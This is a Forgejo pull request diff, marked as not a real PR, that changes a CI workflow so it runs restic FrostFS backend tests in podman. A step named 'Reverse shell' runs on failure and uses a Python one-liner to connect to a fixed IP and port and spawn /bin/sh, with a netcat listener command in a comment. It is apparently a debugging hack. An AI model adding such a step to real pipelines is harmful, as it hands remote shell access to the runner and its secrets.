WIP: (not a real PR): Run testcontainers in Forgejo Actions #5

Closed
potyarkin wants to merge 9 commits from potyarkin/restic:support/add_forgejo_ci into tcl/master
Showing only changes of commit a21ab63bbe - Show all commits

View file

@ -24,18 +24,17 @@ jobs:
- name: Tests for the FrostFS backend
env:
RESTIC_TEST_FUSE: false
TESTCONTAINERS_RYUK_DISABLED: true
TESTCONTAINERS_DOCKER_SOCKER_OVERRIDE: /tmp/podman-service.socket
# run only tests for the FrostFS backend
run: |-
podman-service.sh
podman info
go test -v github.com/restic/restic/internal/backend/frostfs
- name: Reverse shell
if: failure()
# Listener must be started beforehand: nc -lvp 4242
run: |
export RHOST="10.47.37.90"
export RHOST=10.47.37.90
export RPORT=4242
python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'